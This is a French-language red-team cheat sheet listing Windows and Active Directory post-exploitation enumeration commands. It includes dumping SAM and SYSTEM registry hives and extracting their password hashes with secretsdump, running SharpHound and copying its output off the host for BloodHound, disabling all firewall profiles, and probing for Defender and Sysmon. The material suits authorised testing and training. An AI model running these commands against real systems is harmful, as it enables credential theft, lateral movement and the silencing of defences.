L’objectif de l’énumération post-exploitation est de recueillir autant d’informations que possible sur le système compromis et son réseau. Ces informations nous permettrons par la suite de nous latéraliser sur le réseau ou d’obtenir des privilèges plus élevés .
Easy Win
WinPEAS
Dumps de la base de registres
reg save hklm\system system.bak
reg save hklm\sam sam.bak
Récupération des hashs des mots de passe
python3 /opt/impacket/examples/secretsdump.py -sam sam.bak -system system.bak LOCAL
Utilisateur
whoami /all
Nom
whoami # <domain-name>\<username>
whoami /UPN # Principal Name : <username>@<domaine>
whoami /FQDN # Fully Qualified Domain Name : CN=,CN=,OU=,DC=,DC=
Privilèges
whoami /priv
Groupes
whoami /groups
Paramètres des comptes
net accounts
Autres utilisateurs
net user
Autres groupes
net group
net localgroup
net localgroup administrators
Active Directory (only)
Readme
Les commandes net ... /domain
doivent être exécutées à partir d’une machine liée au domaine. Sinon elle prendra par défaut le domaine WORKGROUP. Si l’utilisateur a un petit nombre de groupes AD, cette commande sera en mesure d’afficher ses groupes. Au-delà de dix groupes, la commande ne les listera pas toutes.
MMC (Microsoft Management Console)
Il est possible d’utiliser MMC pour accéder à l’outils d’administration des serveurs à distance (RSAT) AD Snap-Ins. Cela permet de voir et de modifier le contenu de l’AD à distance.
On peut installer les outils RSAT uniquement sur les éditions professionnelles ou entreprise du système d’exploitation Windows :
1. Press Start
2. Search "Apps & Features" and press enter
3. Click Manage Optional Features
4. Click Add a feature
5. Search for "RSAT"
6. Select "RSAT: Active Directory Domain Services and Lightweight Directory Tools" and click 7. Install
Si nous lançons MMC normalement, cela ne fonctionnera pas si notre ordinateur n’est pas relié au domaine et que notre compte local ne peut pas être utilisé pour s’authentifier sur le réseau. Il faudra alors utiliser runas.exe /netonly
pour spécifier les identifiants à utiliser sur le réseau. Une fois cela fait nous pouvons installer RSAT AD Snap-Ins :
1. Click File -> Add/Remove Snap-in
2. Select and Add all three Active Directory Snap-ins
3. Click through any errors and warnings
4. Right-click on Active Directory Domains and Trusts and select Change Forest
5. Enter the DC domain as the Root domain and Click OK
6. Right-click on Active Directory Sites and Services and select Change Forest
7. Enter the DC domain as the Root domain and Click OK
8. Right-click on Active Directory Users and Computers and select Change Domain
9. Enter the DC domain as the Domain and Click OK
10. Right-click on Active Directory Users and Computers in the left-hand pane
11. Click on View -> Advanced Features
On peut ensuite lancer MMC via runas si besoin :
runas.exe /netonly /user:<domain>\<username> cmd.exe
C:\Windows\System32> mmc.exe
Pour vérifier que l’on a bien fourni les bons identifiants, on peut executer la commande :
dir \\<domain>\sysvol
Domaine
Systeminfo | Findstr Domain
Get-ADDomain -Server <domain>
Ordinateurs
Lister les ordinateurs visibles du domaine
Get-ADComputer -Filter *
Lister les ordinateurs d’une OU de l’AD
Get-ADComputer -Filter * -SearchBase "OU=dev,DC=hacktivity,DC=local"
Utilisateurs
Lister les utilisateurs de l’AD actifs
net user /domain
Get-ADUser -Filter *
Get-ADUser -Filter * -Server <domain>
Lister les utilisateurs d’une OU de l’AD
Get-ADUser -Filter * -SearchBase "OU=dev,DC=hacktivity,DC=local"
Informations sur un utilisateur
net user <username> /domain
Get-ADUser -Identity <username> -Properties *
Get-ADUser -Identity <username> -Server <domain> -Properties *
Groupes
Lister les groupes de l’AD
net group /domain
Get-ADGroup -Filter *
Get-ADGroup -Filter * -Server <domain>
Informations sur un groupe
net group "<group-name>" /domain
Get-ADGroup -Identity <group-name>
Get-ADGroup -Identity <group-name> -Server <domain>
Get-ADGroupMember -Identity <group-name> -Server <domain>
Compte Administateur | Description |
---|---|
BUILTIN\Administrator | Local admin access on a domain controller |
Domain Admins | Administrative access to all resources in the domain |
Enterprise Admins | Available only in the forest root |
Schema Admins | Capable of modifying domain/forest; useful for red teamers |
Server Operators | Can manage domain servers |
Account Operators | Can manage users that are not in privileged groups |
Politiques de compte
net accounts /domain
Autres
Objets de l’AD qui ont été modifiés après une certaine date
$ChangeDate = New-Object DateTime(2023, 02, 28, 12, 00, 00)
Get-ADObject -Filter 'whenChanged -gt $ChangeDate' -includeDeletedObjects -Server <domain>
Comptes avec un badPwdCount > 0
Get-ADObject -Filter 'badPwdCount -gt 0' -Server <domain>
Bloodhound / SharpHound
Bloodhound permet de visualiser l’environnement AD sous forme de graphe. Chaque connexion est un chemin possible qui pourrait être exploité pour atteindre un but.
Cette pensée basée sur les graphes a ouvert un monde aux attaquants. Les attaquants peuvent désormais utiliser ces données hors ligne pour trouver des chemins d’attaque, montrant précisément les étapes et les sauts nécessaires. Ils peuvent ensuite revenir et atteindre leur objectif en quelques minutes.
Sharphound est l’outil d’énumération de Bloodhound : il récupère l’information sur le réseau et la machine. Il existe trois différents collecteurs de Sharphound :
- Sharphound.exe – Une version exécutable (recommandé).
- Sharphound.ps1 – Script PowerShell
- AzureHound.ps1 – Script PowerShell pour l’exécution d’instances Sharphound pour Azure (Microsoft Cloud Computing Services)
Extraction
Ne touche pas à l’AD (–ExcludeDCs) :
SharpHound.exe --CollectionMethods All --Domain <domain> --ExcludeDCs
scp <username>@<IP/FQDN>:<Path>/<Sharphound ZIP> .
Analyse
neo4j console start
bloodhound --no-sandbox
Drag & Drop le fichier zip et happy graphing !
Solutions de sécurité
Solution antivirus installée
Windows servers may not have SecurityCenter2 namespace
wmic /namespace:\\root\securitycenter2 path antivirusproduct
Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntivirusProduct
Status de Windows Defender
Get-Service WinDefend
Status Name DisplayName
------ ---- -----------
Running WinDefend Windows Defender Antivirus Service
Configuration de Windows Defender
Get-MpComputerStatus
Liste des anciennes menaces détectées sur la machine
Get-MpThreat
Status du pare-feu
Get-NetFirewallProfile | Format-Table Name, Enabled
Name Enabled
---- -------
Domain True
Private True
Public True
Règles du pare-feu
Get-NetFirewallRule | select DisplayName, Action, Direction, Description, Enabled
Désactiver les pare-feu
Set-NetFirewallProfile -Profile Domain, Public, Private -Enabled False
Tester la connection à un port
Test-NetConnection -ComputerName <IP/ComputerName> -Port <PORT>
Journaux d’évenements
Lister les journaux
Get-EventLog
Max(K) Retain OverflowAction Entries Log
------ ------ -------------- ------- ---
512 7 OverwriteOlder 59 Active Directory Web Services
20,480 0 OverwriteAsNeeded 512 Application
512 0 OverwriteAsNeeded 170 Directory Service
102,400 0 OverwriteAsNeeded 67 DNS Server
20,480 0 OverwriteAsNeeded 4,345 System
15,360 0 OverwriteAsNeeded 1,692 Windows PowerShell
Vérifier la présence de Sysmon
Get-Process | Where-Object { $_.ProcessName -eq "Sysmon" }
Handles NPM(K) PM(K) WS(K) CPU(s) Id SI ProcessName
------- ------ ----- ----- ------ -- -- -----------
373 15 20212 31716 3316 0 Sysmon
Ou chercher un service :
Get-CimInstance win32_service -Filter "Description = 'System Monitor service'"
Get-Service | where-object {$_.DisplayName -like "*sysm*"}
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Sysmon/Operational
Applications & Services
Liste des app. installées
wmic product get name,version
Liste des services
net start
wmic service where "name like '<ServiceName>'" get Name,PathName
Fichiers / Dossiers intéressants
SYSVOL
SYSVOL est un dossier qui existe sur tous les contrôleurs de domaine. Il s’agit d’un dossier partagé qui stocke les objets de stratégie de groupe (GPO) et les informations, ainsi que tous les autres scripts liés au domaine. Il est nécessaire de configurer notre DNS pour accéder à SYSVOL.
$dnsip = "<DNS/DC IP>"
$index = Get-NetAdapter -Name '<interface-name>' | Select-Object -ExpandProperty 'ifIndex'
Set-DnsClientServerAddress -InterfaceIndex $index -ServerAddresses $dnsip
dir \\<domain-fqdn>\SYSVOL
Latéralisation
ipconfig
ipconfig /all
Connexions courantes
nestat -bno
nestat -abno
Table ARP
arp -a
DNS
dig -t AXFR <DOMAIN-NAME> @<DNS-SERVER>
SMB
net share
SNMP
/opt/snmpcheck/snmpcheck.rb <IP> -c COMMUNITY_STRING